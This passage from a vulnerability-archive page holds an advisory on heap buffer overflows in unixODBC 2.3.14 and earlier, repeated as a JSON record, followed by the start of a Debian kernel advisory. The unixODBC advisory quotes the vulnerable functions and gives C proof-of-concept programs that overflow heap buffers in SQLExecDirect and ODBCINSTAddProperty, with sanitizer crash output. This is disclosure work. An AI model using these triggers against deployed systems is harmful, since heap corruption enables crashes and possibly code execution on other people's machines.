"dateUpdated": "2026-11-05T04:38:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/9"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/9"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/9"
],
"discovery": "EXTERNAL"
},
"title": "unixODBC \u003c=2.3.14 Multiple Races",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0549",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/9",
"automated": true,
"contentSha256": "6a1c1cf7a2ad3d97d7f34204d40d10bfd034435afd8c57c465642bca5e1fda4e",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/9",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-04T13:14:51Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-05T04:38:41Z",
"dateUpdated": "2026-11-05T04:38:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0549"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0548
Vulnerability from gna-1988 – Published: 2026-11-05 04:38 – Updated: 2026-11-05 04:38
VLAI
EPSS
VEX
Title
unixODBC <=2.3.14 Multiple Heap Buffer Overflows, Underflows, and Over-Reads
Summary
unixODBC versions 2.3.14 and below contain multiple heap buffer overflows, underflows, and over-reads. Attackers who
can influence various arguments passed thereto can trigger the heap-based buffer overflows inside of the unixODBC
driver manager itself, potentially corrupting the shared heap state across connections, crash the driver manager
(thereby causing denial of service conditions, multi-tenant data loss, and such related issues, depending on how the
calling information system leverages the library and is architected), information disclosure, and execute arbitrary
code, among other things. Importantly, the unixODBC was also found to contain race conditions, integer underflows,
double-free/use-after-free, null pointer dereference, stack buffer overflows, and numerous other issues. We may or may
not write those issues up, but this was all from a cursory glance through the code.
Examples
Sample Heap Buffer Overflows
While at least 8 different heap-based buffer overflows were discovered, the following serves as a blueprint to find
both the examples below and other instances.
SQLExecDirect's Unvalidated Caller-Supplied Length
When call tracing is enabled, `SQLExecDirect` allocates its trace-log buffer using the caller-supplied `text_length`,
doing so before verifying that the value is valid. Attackers that pass a negative, non-`SQL_NTS` value, as such, cause
a negative value to be sent to the `sprintf` call, which standard C treats as "no precision given", turning the call
into an unbounded `%s` of the full, attacker-controlled `statement_text` string, overflowing the buffer. Importantly,
this same mistake is made elsewhere, such as in `SQLPrepare`'s lines 185-189 which appears to be a copy-paste of the
offending code.
```c
SQLRETURN SQLExecDirect( SQLHSTMT statement_handle,
SQLCHAR *statement_text,
SQLINTEGER text_length )
{
DMHSTMT statement = (DMHSTMT) statement_handle;
SQLRETURN ret;
SQLCHAR *s1;
SQLCHAR s2[ 100 + LOG_MESSAGE_LEN ];
/*
* check statement
*/
if ( !__validate_stmt( statement ))
{
dm_log_write( __FILE__,
__LINE__,
LOG_INFO,
LOG_INFO,
"Error: SQL_INVALID_HANDLE" );
return SQL_INVALID_HANDLE;
}
function_entry( statement );
if ( log_info.log_flag )
{
/*
* allocate some space for the buffer
*/
if ( statement_text && text_length == SQL_NTS )
{
s1 = malloc( strlen((char*) statement_text ) + LOG_MESSAGE_LEN );
}
else if ( statement_text )
{
s1 = malloc( text_length + LOG_MESSAGE_LEN );
}
else
{
s1 = malloc( LOG_MESSAGE_LEN );
}
sprintf( statement -> msg, "\n\t\tEntry:\
\n\t\t\tStatement = %p\
\n\t\t\tSQL = %s",
statement,
__string_with_length( s1, statement_text, text_length ));
free( s1 );
dm_log_write( __FILE__,
__LINE__,
LOG_INFO,
LOG_INFO,
statement -> msg );
}
```
Snippet from `unixODBC`'s DriverManager/SQLExecDirect.c, lines 184-242
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sql.h>
#include <sqlext.h>
int main(void)
{
SQLHENV henv = SQL_NULL_HENV;
SQLHDBC hdbc = SQL_NULL_HDBC;
SQLHSTMT hstmt = SQL_NULL_HSTMT;
SQLRETURN rc;
SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &henv);
SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0);
SQLAllocHandle(SQL_HANDLE_DBC, henv, &hdbc);
/* Enable the tracing */
SQLSetConnectAttr(hdbc, SQL_ATTR_TRACE, (SQLPOINTER)SQL_OPT_TRACE_ON, 0);
/* Connect so that a valid STMT handle can be allocated -- the
* overflow itself happens before any call reaches the driver. */
rc = SQLConnect(hdbc, (SQLCHAR*)"test", SQL_NTS,
(SQLCHAR*)"", SQL_NTS, (SQLCHAR*)"", SQL_NTS);
if (!SQL_SUCCEEDED(rc) && rc != SQL_SUCCESS_WITH_INFO) { return 2; }
SQLAllocHandle(SQL_HANDLE_STMT, hdbc, &hstmt);
/* Long, fully attacker-controlled SQL text. */
size_t biglen = 8192;
char *big_sql = malloc(biglen + 1);
memset(big_sql, 'A', biglen);
big_sql[biglen] = '\0';
/* Negative text_length != SQL_NTS(-3) -> malloc(-50+128)=78
* bytes, then __string_with_length's sprintf("%.*s", -50, ...)
* treats the negative precision as "no precision", copying the
* full 8192-byte string into the 78-byte buffer. */
SQLExecDirect(hstmt, (SQLCHAR*)big_sql, -50);
free(big_sql);
return 0;
}
```
Sample code to overflow the buffer
```text
SQLAllocHandle(ENV) rc=0
SQLAllocHandle(DBC) rc=0
SQLSetConnectAttr(SQL_ATTR_TRACE, ON) rc=0
SQLConnect("test") rc=0
SQLAllocHandle(STMT) rc=0
Calling SQLExecDirect with text_length=-50, statement_text len=8192
=================================================================
==1301501==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000001f0e at pc 0x000000440c43 bp
0x7ffeee29bc20 sp 0x7ffeee29b3c0
WRITE of size 8209 at 0x607000001f0e thread T0
#0 0x440c42 in __interceptor_vsprintf ...
#1 0x441c37 in sprintf ...
#2 0x7fa07e8ac894 in __string_with_length DriverManager/__info.c
#3 0x7fa07e7ba507 in SQLExecDirect DriverManager/SQLExecDirect.c:235:17
#4 0x4dedd9 in main repro.c:87:10
...
0x607000001f0e is located 0 bytes to the right of 78-byte region [0x607000001ec0,0x607000001f0e)
allocated by thread T0 here:
#0 0x4a3492 in __interceptor_malloc ...
#1 0x7fa07e7ba4d1 in SQLExecDirect DriverManager/SQLExecDirect.c
#2 0x4dedd9 in main repro.c:87:10
...
SUMMARY: AddressSanitizer: heap-buffer-overflow ... in __interceptor_vsprintf
==1301501==ABORTING
```
Output from AddressSanitizer
```text
==1301663== Invalid write of size 8
==1301663== at 0x4854166: mempcpy (vg_replace_strmem.c:1668)
==1301663== by 0x49843F7: _IO_default_xsputn (in /usr/lib64/libc.so.6)
==1301663== by 0x4960212: __vfprintf_internal (in /usr/lib64/libc.so.6)
==1301663== by 0x4978C23: __vsprintf_internal (in /usr/lib64/libc.so.6)
==1301663== by 0x495AFC7: sprintf (in /usr/lib64/libc.so.6)
==1301663== by 0x48BA2E5: __string_with_length (__info.c:3242)
==1301663== by 0x487AD7B: SQLExecDirect (SQLExecDirect.c:231)
==1301663== by 0x401404: main (repro.c:87)
==1301663== Address 0x4c78db1 is 8,033 bytes inside an unallocated block of size 2,711,952 in arena "client"
valgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion 'bszB_lo == bszB_hi' failed.
valgrind: Heap block lo/hi size mismatch: lo = 144, hi = 4702111234474983745.
```
Output from Valgrind
ODBCINSTSetProperty's Unbounded Property Name/Value Copy
Per the code below, `ODBCINSTAddProperty()` allocates a fixed-size `ODBCINSTPROPERTY` structure and then copies the
caller-supplied `pszProperty` and `pszValue` `char[]`s into its `szName` and `szValue` fields without a `NULL` or
length check.
```c
int ODBCINSTAddProperty( HODBCINSTPROPERTY hFirstProperty, char *pszProperty, char *pszValue )
{
HODBCINSTPROPERTY hNew;
hNew =
(HODBCINSTPROPERTY)malloc( sizeof(ODBCINSTPROPERTY) );
memset(hNew, 0, sizeof(ODBCINSTPROPERTY));
hNew->nPromptType = ODBCINST_PROMPTTYPE_HIDDEN;
hNew->pNext = NULL;
hNew->bRefresh = 0;
hNew->hDLL = hFirstProperty->hDLL;
hNew->pWidget = NULL;
hNew->pszHelp = NULL;
hNew->aPromptData = NULL;
strcpy(hNew->szName, pszProperty );
strcpy( hNew->szValue, pszValue );
```
Code from `unixODBC`'s odbcinst/ODBCINSTSetProperty.c, lines 54-68
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <odbcinstext.h>
int main(void)
{
ODBCINSTPROPERTY head;
char *evil;
size_t n = 5000; /* > INI_MAX_PROPERTY_NAME/VALUE (1000) */
memset(&head, 0, sizeof(head));
strcpy(head.szName, "Driver"); /* seed list head so AddProperty can walk pNext */
head.pNext = NULL;
head.hDLL = NULL;
evil = malloc(n + 1);
memset(evil, 'A', n);
evil[n] = '\0';
fprintf(stderr, "calling ODBCINSTAddProperty with %zu-byte property name/value...\n", n);
/* pszProperty and pszValue are each 5000 bytes; hNew->szName/szValue
* (heap, inside a malloc(sizeof(ODBCINSTPROPERTY)) chunk) are only
* 1001 bytes each -> two separate heap overflows. */
ODBCINSTAddProperty(&head, evil, evil);
printf("reached end (heap likely corrupted)\n");
free(evil);
return 0;
}
```
Sample code to overflow the buffer
```text
calling ODBCINSTAddProperty with 5000-byte property name/value...
=================================================================
==1300489==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000000888 at pc 0x00000048d469 bp
0x7fffcabae780 sp 0x7fffcabadf48
WRITE of size 5001 at 0x61d000000888 thread T0
#0 0x48d468 in strcpy (repro_asan+0x48d468)
#1 0x7f10d0722e05 in ODBCINSTAddProperty odbcinst/ODBCINSTSetProperty.c:67:2
#2 0x4debdf in main repro.c:26:5
0x61d000000888 is located 0 bytes to the right of 2056-byte region [0x61d000000080,0x61d000000888)
allocated by thread T0 here:
#0 0x4a3452 in __interceptor_malloc (repro_asan+0x4a3452)
#1 0x7f10d0722bf5 in ODBCINSTAddProperty odbcinst/ODBCINSTSetProperty.c:58:33
#2 0x4debdf in main repro.c:26:5
SUMMARY: AddressSanitizer: heap-buffer-overflow ... in strcpy
==1300489==ABORTING
```
Output from AddressSanitizer
```text
calling ODBCINSTAddProperty with 5000-byte property name/value...
==1300550== Invalid write of size 1
==1300550== at 0x484C75C: strcpy (vg_replace_strmem.c:553)
==1300550== by 0x485F2CC: ODBCINSTAddProperty (ODBCINSTSetProperty.c:67)
==1300550== by 0x40123D: main (repro.c:26)
==1300550== Address 0x4a94c18 is 0 bytes after a block of size 2,056 alloc'd
==1300550== at 0x484686F: malloc (vg_replace_malloc.c:381)
==1300550== by 0x485F231: ODBCINSTAddProperty (ODBCINSTSetProperty.c:58)
==1300550== by 0x40123D: main (repro.c:26)
valgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion 'bszB_lo == bszB_hi' failed.
valgrind: Heap block lo/hi size mismatch: lo = 2128, hi = 4702111234474983745.
This is probably caused by your program erroneously writing past the
end of a heap block and corrupting heap metadata.
```
Output from Valgrind Memcheck
Template Driver's SQLConnect Unchecked Copy
The template driver provides sample/boilerplate Structured Query Language (SQL) connect code, but this code does not
perform input validation against the upstream data source `char[]`, allowing an overflow on the corresponding `sprintf`
call while creating what is supposed to be a diagnostic message pending the connection attempt. The length of the data
sources (`szDataSource`) isn't checked until after the overflow has already occurred -- via `( strlen((char*)
szDataSource ) > ODBC_FILENAME_MAX+INI_MAX_OBJECT_NAME` -- but even this check is incorrect because `szSqlMsg` is only
1024-bytes and the maths above allows thousands more bytes than that. Importantly, the `MiniSQL` sample driver's
`SQLConnect` contains the same issue caused by the same faulty ordering, logic, and lack of verification. This example
and the MiniSQL example mentioned herein only really matter if the sample/boilerplate code is leveraged by a library
but should be fixed since such code is supposed to aid developers.
```c
SQ
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Nov/8 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
{
"containers": {
"cna": {
"affected": [
{
"product": "\u003c=2.3.14",
"vendor": "Unixodbc",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Daniel Owens via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "unixODBC versions 2.3.14 and below contain multiple heap buffer overflows, underflows, and over-reads. Attackers who \ncan influence various arguments passed thereto can trigger the heap-based buffer overflows inside of the unixODBC \ndriver manager itself, potentially corrupting the shared heap state across connections, crash the driver manager \n(thereby causing denial of service conditions, multi-tenant data loss, and such related issues, depending on how the \ncalling information system leverages the library and is architected), information disclosure, and execute arbitrary \ncode, among other things. Importantly, the unixODBC was also found to contain race conditions, integer underflows, \ndouble-free/use-after-free, null pointer dereference, stack buffer overflows, and numerous other issues. We may or may \nnot write those issues up, but this was all from a cursory glance through the code.\n\nExamples\nSample Heap Buffer Overflows\nWhile at least 8 different heap-based buffer overflows were discovered, the following serves as a blueprint to find \nboth the examples below and other instances.\n\nSQLExecDirect\u0027s Unvalidated Caller-Supplied Length\nWhen call tracing is enabled, `SQLExecDirect` allocates its trace-log buffer using the caller-supplied `text_length`, \ndoing so before verifying that the value is valid. Attackers that pass a negative, non-`SQL_NTS` value, as such, cause \na negative value to be sent to the `sprintf` call, which standard C treats as \"no precision given\", turning the call \ninto an unbounded `%s` of the full, attacker-controlled `statement_text` string, overflowing the buffer. Importantly, \nthis same mistake is made elsewhere, such as in `SQLPrepare`\u0027s lines 185-189 which appears to be a copy-paste of the \noffending code.\n\n```c\nSQLRETURN SQLExecDirect( SQLHSTMT statement_handle,\n SQLCHAR *statement_text,\n SQLINTEGER text_length )\n{\n DMHSTMT statement = (DMHSTMT) statement_handle;\n SQLRETURN ret;\n SQLCHAR *s1;\n SQLCHAR s2[ 100 + LOG_MESSAGE_LEN ];\n\n /*\n * check statement\n */\n\n if ( !__validate_stmt( statement ))\n {\n dm_log_write( __FILE__,\n __LINE__,\n LOG_INFO,\n LOG_INFO,\n \"Error: SQL_INVALID_HANDLE\" );\n\n return SQL_INVALID_HANDLE;\n }\n\n function_entry( statement );\n\n if ( log_info.log_flag )\n {\n /*\n * allocate some space for the buffer\n */\n\n if ( statement_text \u0026\u0026 text_length == SQL_NTS )\n {\n s1 = malloc( strlen((char*) statement_text ) + LOG_MESSAGE_LEN );\n }\n else if ( statement_text )\n {\n s1 = malloc( text_length + LOG_MESSAGE_LEN );\n }\n else\n {\n s1 = malloc( LOG_MESSAGE_LEN );\n }\n\n sprintf( statement -\u003e msg, \"\\n\\t\\tEntry:\\\n\\n\\t\\t\\tStatement = %p\\\n\\n\\t\\t\\tSQL = %s\",\n statement,\n __string_with_length( s1, statement_text, text_length ));\n\n free( s1 );\n\n dm_log_write( __FILE__,\n __LINE__,\n LOG_INFO,\n LOG_INFO,\n statement -\u003e msg );\n }\n```\nSnippet from `unixODBC`\u0027s DriverManager/SQLExecDirect.c, lines 184-242\n\n```c\n#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstring.h\u003e\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n\nint main(void)\n{\n SQLHENV henv = SQL_NULL_HENV;\n SQLHDBC hdbc = SQL_NULL_HDBC;\n SQLHSTMT hstmt = SQL_NULL_HSTMT;\n SQLRETURN rc;\n\n SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, \u0026henv);\n SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0);\n SQLAllocHandle(SQL_HANDLE_DBC, henv, \u0026hdbc);\n\n /* Enable the tracing */\n SQLSetConnectAttr(hdbc, SQL_ATTR_TRACE, (SQLPOINTER)SQL_OPT_TRACE_ON, 0);\n\n /* Connect so that a valid STMT handle can be allocated -- the\n * overflow itself happens before any call reaches the driver. */\n rc = SQLConnect(hdbc, (SQLCHAR*)\"test\", SQL_NTS,\n (SQLCHAR*)\"\", SQL_NTS, (SQLCHAR*)\"\", SQL_NTS);\n if (!SQL_SUCCEEDED(rc) \u0026\u0026 rc != SQL_SUCCESS_WITH_INFO) { return 2; }\n SQLAllocHandle(SQL_HANDLE_STMT, hdbc, \u0026hstmt);\n\n /* Long, fully attacker-controlled SQL text. */\n size_t biglen = 8192;\n char *big_sql = malloc(biglen + 1);\n memset(big_sql, \u0027A\u0027, biglen);\n big_sql[biglen] = \u0027\\0\u0027;\n\n /* Negative text_length != SQL_NTS(-3) -\u003e malloc(-50+128)=78\n * bytes, then __string_with_length\u0027s sprintf(\"%.*s\", -50, ...)\n * treats the negative precision as \"no precision\", copying the\n * full 8192-byte string into the 78-byte buffer. */\n SQLExecDirect(hstmt, (SQLCHAR*)big_sql, -50);\n\n free(big_sql);\n return 0;\n}\n```\nSample code to overflow the buffer\n\n```text\nSQLAllocHandle(ENV) rc=0\nSQLAllocHandle(DBC) rc=0\nSQLSetConnectAttr(SQL_ATTR_TRACE, ON) rc=0\nSQLConnect(\"test\") rc=0\nSQLAllocHandle(STMT) rc=0\nCalling SQLExecDirect with text_length=-50, statement_text len=8192\n=================================================================\n==1301501==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000001f0e at pc 0x000000440c43 bp \n0x7ffeee29bc20 sp 0x7ffeee29b3c0\nWRITE of size 8209 at 0x607000001f0e thread T0\n #0 0x440c42 in __interceptor_vsprintf ...\n #1 0x441c37 in sprintf ...\n #2 0x7fa07e8ac894 in __string_with_length DriverManager/__info.c\n #3 0x7fa07e7ba507 in SQLExecDirect DriverManager/SQLExecDirect.c:235:17\n #4 0x4dedd9 in main repro.c:87:10\n...\n0x607000001f0e is located 0 bytes to the right of 78-byte region [0x607000001ec0,0x607000001f0e)\nallocated by thread T0 here:\n #0 0x4a3492 in __interceptor_malloc ...\n #1 0x7fa07e7ba4d1 in SQLExecDirect DriverManager/SQLExecDirect.c\n #2 0x4dedd9 in main repro.c:87:10\n...\nSUMMARY: AddressSanitizer: heap-buffer-overflow ... in __interceptor_vsprintf\n==1301501==ABORTING\n```\nOutput from AddressSanitizer\n\n```text\n==1301663== Invalid write of size 8\n==1301663== at 0x4854166: mempcpy (vg_replace_strmem.c:1668)\n==1301663== by 0x49843F7: _IO_default_xsputn (in /usr/lib64/libc.so.6)\n==1301663== by 0x4960212: __vfprintf_internal (in /usr/lib64/libc.so.6)\n==1301663== by 0x4978C23: __vsprintf_internal (in /usr/lib64/libc.so.6)\n==1301663== by 0x495AFC7: sprintf (in /usr/lib64/libc.so.6)\n==1301663== by 0x48BA2E5: __string_with_length (__info.c:3242)\n==1301663== by 0x487AD7B: SQLExecDirect (SQLExecDirect.c:231)\n==1301663== by 0x401404: main (repro.c:87)\n==1301663== Address 0x4c78db1 is 8,033 bytes inside an unallocated block of size 2,711,952 in arena \"client\"\n\nvalgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion \u0027bszB_lo == bszB_hi\u0027 failed.\nvalgrind: Heap block lo/hi size mismatch: lo = 144, hi = 4702111234474983745.\n```\nOutput from Valgrind\n\nODBCINSTSetProperty\u0027s Unbounded Property Name/Value Copy\nPer the code below, `ODBCINSTAddProperty()` allocates a fixed-size `ODBCINSTPROPERTY` structure and then copies the \ncaller-supplied `pszProperty` and `pszValue` `char[]`s into its `szName` and `szValue` fields without a `NULL` or \nlength check.\n\n```c\nint ODBCINSTAddProperty( HODBCINSTPROPERTY hFirstProperty, char *pszProperty, char *pszValue )\n{\n HODBCINSTPROPERTY hNew;\n\n hNew = \n(HODBCINSTPROPERTY)malloc( sizeof(ODBCINSTPROPERTY) );\n memset(hNew, 0, sizeof(ODBCINSTPROPERTY));\n hNew-\u003enPromptType = ODBCINST_PROMPTTYPE_HIDDEN;\n hNew-\u003epNext = NULL;\n hNew-\u003ebRefresh = 0;\n hNew-\u003ehDLL = hFirstProperty-\u003ehDLL;\n hNew-\u003epWidget = NULL;\n hNew-\u003epszHelp = NULL;\n hNew-\u003eaPromptData = NULL;\n strcpy(hNew-\u003eszName, pszProperty );\n strcpy( hNew-\u003eszValue, pszValue );\n```\nCode from `unixODBC`\u0027s odbcinst/ODBCINSTSetProperty.c, lines 54-68\n\n```c\n#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003codbcinstext.h\u003e\n\nint main(void)\n{\n ODBCINSTPROPERTY head;\n char *evil;\n size_t n = 5000; /* \u003e INI_MAX_PROPERTY_NAME/VALUE (1000) */\n\n memset(\u0026head, 0, sizeof(head));\n strcpy(head.szName, \"Driver\"); /* seed list head so AddProperty can walk pNext */\n head.pNext = NULL;\n head.hDLL = NULL;\n\n evil = malloc(n + 1);\n memset(evil, \u0027A\u0027, n);\n evil[n] = \u0027\\0\u0027;\n\n fprintf(stderr, \"calling ODBCINSTAddProperty with %zu-byte property name/value...\\n\", n);\n\n /* pszProperty and pszValue are each 5000 bytes; hNew-\u003eszName/szValue\n * (heap, inside a malloc(sizeof(ODBCINSTPROPERTY)) chunk) are only\n * 1001 bytes each -\u003e two separate heap overflows. */\n ODBCINSTAddProperty(\u0026head, evil, evil);\n\n printf(\"reached end (heap likely corrupted)\\n\");\n free(evil);\n return 0;\n}\n```\nSample code to overflow the buffer\n\n```text\ncalling ODBCINSTAddProperty with 5000-byte property name/value...\n=================================================================\n==1300489==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d000000888 at pc 0x00000048d469 bp \n0x7fffcabae780 sp 0x7fffcabadf48\nWRITE of size 5001 at 0x61d000000888 thread T0\n #0 0x48d468 in strcpy (repro_asan+0x48d468)\n #1 0x7f10d0722e05 in ODBCINSTAddProperty odbcinst/ODBCINSTSetProperty.c:67:2\n #2 0x4debdf in main repro.c:26:5\n0x61d000000888 is located 0 bytes to the right of 2056-byte region [0x61d000000080,0x61d000000888)\nallocated by thread T0 here:\n #0 0x4a3452 in __interceptor_malloc (repro_asan+0x4a3452)\n #1 0x7f10d0722bf5 in ODBCINSTAddProperty odbcinst/ODBCINSTSetProperty.c:58:33\n #2 0x4debdf in main repro.c:26:5\nSUMMARY: AddressSanitizer: heap-buffer-overflow ... in strcpy\n==1300489==ABORTING\n```\nOutput from AddressSanitizer\n\n```text\ncalling ODBCINSTAddProperty with 5000-byte property name/value...\n==1300550== Invalid write of size 1\n==1300550== at 0x484C75C: strcpy (vg_replace_strmem.c:553)\n==1300550== by 0x485F2CC: ODBCINSTAddProperty (ODBCINSTSetProperty.c:67)\n==1300550== by 0x40123D: main (repro.c:26)\n==1300550== Address 0x4a94c18 is 0 bytes after a block of size 2,056 alloc\u0027d\n==1300550== at 0x484686F: malloc (vg_replace_malloc.c:381)\n==1300550== by 0x485F231: ODBCINSTAddProperty (ODBCINSTSetProperty.c:58)\n==1300550== by 0x40123D: main (repro.c:26)\nvalgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion \u0027bszB_lo == bszB_hi\u0027 failed.\nvalgrind: Heap block lo/hi size mismatch: lo = 2128, hi = 4702111234474983745.\nThis is probably caused by your program erroneously writing past the\nend of a heap block and corrupting heap metadata.\n```\nOutput from Valgrind Memcheck\n\nTemplate Driver\u0027s SQLConnect Unchecked Copy\nThe template driver provides sample/boilerplate Structured Query Language (SQL) connect code, but this code does not \nperform input validation against the upstream data source `char[]`, allowing an overflow on the corresponding `sprintf` \ncall while creating what is supposed to be a diagnostic message pending the connection attempt. The length of the data \nsources (`szDataSource`) isn\u0027t checked until after the overflow has already occurred -- via `( strlen((char*) \nszDataSource ) \u003e ODBC_FILENAME_MAX+INI_MAX_OBJECT_NAME` -- but even this check is incorrect because `szSqlMsg` is only \n1024-bytes and the maths above allows thousands more bytes than that. Importantly, the `MiniSQL` sample driver\u0027s \n`SQLConnect` contains the same issue caused by the same faulty ordering, logic, and lack of verification. This example \nand the MiniSQL example mentioned herein only really matter if the sample/boilerplate code is leveraged by a library \nbut should be fixed since such code is supposed to aid developers.\n\n```c\nSQ"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-05T04:38:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/8"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Nov/8"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Nov/8"
],
"discovery": "EXTERNAL"
},
"title": "unixODBC \u003c=2.3.14 Multiple Heap Buffer Overflows, Underflows, and Over-Reads",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0548",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/8",
"automated": true,
"contentSha256": "4cafbee5f66f0cc90cd6cab56be32adbedde5106fd136ce689dab1c90100ac1b",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/8",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-11-04T00:40:34Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-05T04:38:41Z",
"dateUpdated": "2026-11-05T04:38:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0548"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0547
Vulnerability from gna-1988 – Published: 2026-11-02 13:35 – Updated: 2026-11-02 13:35
VLAI
EPSS
VEX
Title
[Bugtraq] [SECURITY] [DSA 6528-1] linux security update
Summary
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
- -------------------------------------------------------------------------
Debian Security Advisory DSA-6528-1 security@debian.org
https://www.debian.org/security/ Salvatore Bonaccorso
September 29, 2026 https://www.debian.org/security/faq
- -------------------------------------------------------------------------
Package : linux
CVE ID : CVE-2024-52560 CVE-2024-58094 CVE-2024-58095 CVE-2025-21817
CVE-2025-22104 CVE-2025-22108 CVE-2025-22127 CVE-2025-38203
CVE-2025-38205 CVE-2025-38206 CVE-2025-38237 CVE-2025-38621
CVE-2025-39833 CVE-2025-39925 CVE-2025-40064 CVE-2025-40102
CVE-2025-40139 CVE-2025-40168 CVE-2026-23137 CVE-2026-43198
CVE-2026-43344 CVE-2026-45963 CVE-2026-52944 CVE-2026-53010
CVE-2026-53089 CVE-2026-53102 CVE-2026-53113 CVE-2026-53250
CVE-2026-53313 CVE-2026-64058 CVE-2026-64070 CVE-2026-64082
CVE-2026-64210 CVE-2026-68286 CVE-2026-68287 CVE-2026-68288
CVE-2026-68289 CVE-2026-68303 CVE-2026-68337 CVE-2026-72334
CVE-2026-72402 CVE-2026-72413 CVE-2026-72438 CVE-2026-72485
CVE-2026-72496 CVE-2026-74258 CVE-2026-74268 CVE-2026-74289
CVE-2026-74291 CVE-2026-74294 CVE-2026-74334 CVE-2026-74496
CVE-2026-74521 CVE-2026-74735 CVE-2026-74753 CVE-2026-80521
CVE-2026-80671 CVE-2026-80755 CVE-2026-80762 CVE-2026-80766
CVE-2026-80768 CVE-2026-80774 CVE-2026-80780 CVE-2026-80783
CVE-2026-80796 CVE-2026-80806 CVE-2026-80807 CVE-2026-80824
CVE-2026-80825 CVE-2026-80826 CVE-2026-80827 CVE-2026-80828
CVE-2026-80829 CVE-2026-80830 CVE-2026-80831 CVE-2026-80832
CVE-2026-80833 CVE-2026-80834 CVE-2026-80835 CVE-2026-80836
CVE-2026-80837 CVE-2026-80838 CVE-2026-80839 CVE-2026-80840
CVE-2026-80841 CVE-2026-80842 CVE-2026-80843 CVE-2026-80844
CVE-2026-80845 CVE-2026-80846 CVE-2026-80847 CVE-2026-80848
CVE-2026-80849 CVE-2026-80850 CVE-2026-80851 CVE-2026-80852
CVE-2026-80854 CVE-2026-80855 CVE-2026-80856 CVE-2026-80860
CVE-2026-80861 CVE-2026-80862 CVE-2026-80863 CVE-2026-80864
CVE-2026-80878 CVE-2026-80914 CVE-2026-80921 CVE-2026-80922
CVE-2026-80923 CVE-2026-80925 CVE-2026-80926 CVE-2026-80928
CVE-2026-80930 CVE-2026-80931 CVE-2026-80932 CVE-2026-80933
CVE-2026-80938 CVE-2026-80940 CVE-2026-80941 CVE-2026-80942
CVE-2026-80943 CVE-2026-80944 CVE-2026-80945 CVE-2026-80947
CVE-2026-80949 CVE-2026-80951 CVE-2026-80952 CVE-2026-80963
CVE-2026-80964 CVE-2026-80965 CVE-2026-80966 CVE-2026-80967
CVE-2026-80968 CVE-2026-80969 CVE-2026-80971 CVE-2026-80972
CVE-2026-80973 CVE-2026-80974 CVE-2026-80976 CVE-2026-80977
CVE-2026-80978 CVE-2026-80979 CVE-2026-80982 CVE-2026-80983
